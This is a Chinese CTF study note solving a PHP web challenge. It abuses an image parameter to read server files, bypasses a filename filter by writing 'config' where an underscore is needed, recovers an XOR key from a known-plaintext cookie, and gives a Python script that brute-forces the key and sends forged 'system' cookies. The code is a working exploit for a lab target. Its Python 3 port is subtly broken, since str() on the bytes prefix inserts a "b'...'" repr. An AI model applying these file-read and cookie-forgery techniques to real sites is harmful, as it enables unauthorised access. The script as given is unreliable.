「配枪朱丽叶。」

RootのCTF学习笔记。

“百度杯”CTF比赛 九月场-Code

打开主页,跳转到了/index.php?jpg=hei.jpg 并且只有一张这样的以base64形式放入的图片。

把?jpg=hei.jpg替换为?jpg=index.php
base64解码后得到如下代码:

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";

/*
 * Can you find the flag file?
 *
 */

?>

注意注释,这里学到了一个姿势:

phpstorm写的东西会有一个.idea文件夹,里面存储了一些配置文件。

访问.idea/workspace.xml
发现了一些有趣的东西:

输入url/x.php

显示:404 not found

输入url/config.php

显示:空白

输入url/fl3g_ichuqiu.php

显示:╮(╯▽╰)╭

首页以jpg参数进行文件读取的话,下划线会被过滤掉。
又因为str_replace("config","_", $file);

经测试,可以绕过下划线的限制:

<?php
$file = "fl3gconfigichuqiu.php";
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
echo $file;
?>

输出fl3g_ichuqiu.php

所以传入index.php?jpg=fl3gconfigichuqiu.php
得到如下代码:

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
    $hash = '';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++)	{
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}

function encrypt($txt,$key){
    for($i=0;$i<strlen($txt);$i++){
        $tmp .= chr(ord($txt[$i])+10);
    }
    $txt = $tmp;
    $rnd=random(4);
    $key=md5($rnd.$key);
    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $ttmp .= $txt[$i] ^ $key[++$s];
    }
    return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
    $txt=base64_decode($txt);
    $rnd = substr($txt,0,4);
    $txt = substr($txt,4);
    $key=md5($rnd.$key);

    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $tmp .= $txt[$i]^$key[++$s];
    }
    for($i=0;$i<strlen($tmp);$i++){
        $tmp1 .= chr(ord($tmp[$i])-10);
    }
    return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
    echo $flag;
}else{
    setcookie('user',encrypt('guest',$key));
    echo "╮(╯▽╰)╭";
}
?>

我们要做的就是研究它的加密算法如何让fl3g_ichuqiu.php解密cookie中的username让其刚好等于system。

通过浏览器向服务器请求“抱歉”表情界面的url,服务器就会向浏览器返回一个固定的cookie值。
encrypt('guest',$key),则cookie值就是明文“guest”与key(5位)加密的结果(即guest与key异或得到cookie,那么guest与cookie异或可以得到key)。
得到5位的key后,可以爆破第六位的key,只要用得到的5位key连接上构造的第六位key,与“system”进行加密得到的user变量的cookie值去请求相应的url,
通过服务器反馈的内容含有“flag”关键字符,则说明构造的第六位key值正确,从而可以得到六位的key以及flag的内容。

先马克一下大佬的脚本,咱修改成了py3可以跑的:

# _*_ coding: utf-8 _*

import requests
import base64

url="http://402238c4dcc948509ac193089e37c3ba2eb7e426c8b74f40.changame.ichunqiu.com/fl3g_ichuqiu.php"

cookie=requests.get(url).cookies['user']
#请求该url,获取服务器返回的user变量的cookie值

txt=base64.b64decode(cookie)
#将密文cookie进行base64解码

rnd=txt[:4] 
#密文的前4位字符为随机字符

ttmp=txt[4:]
#ttmp为'guest'与key进行异或的密文值,ttmp与'guest'的位数一样,为5位

keys=list('xxxxxx') 
#六位key的初始字符串

guest=list('guest')
#guest明文内容

system=list('system')

for i in range(len(guest)):
    guest[i]=chr(ord(guest[i])+10)

for i in range(len(guest)):
    keys[i]=chr(ttmp[i]^ord(guest[i]))
    #ttmp为'guest'与key进行异或的密文值,则ttmp与guest异或为keys

for i in range(len(system)):
    system[i]=chr(ord(system[i])+10)

letters='ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'
#第六位key的爆破字符

ttmp_new='' 
#system与keys的异或值

cookie_system=[]
strr=''
for ch in letters:
    keys[5]=ch
    for i in range(len(system)):
        ttmp_new +=chr(ord(system[i])^ord(keys[i]))
    strr=str(rnd)+str(ttmp_new)  
    strr = strr.encode()
    cookie_system.append(base64.b64encode(strr))
    ttmp_new=''
    
for i in cookie_system:
    cookies={'user':i.decode().strip()}
    print(cookies)
    res=requests.get(url,cookies=cookies)
    print(res.text)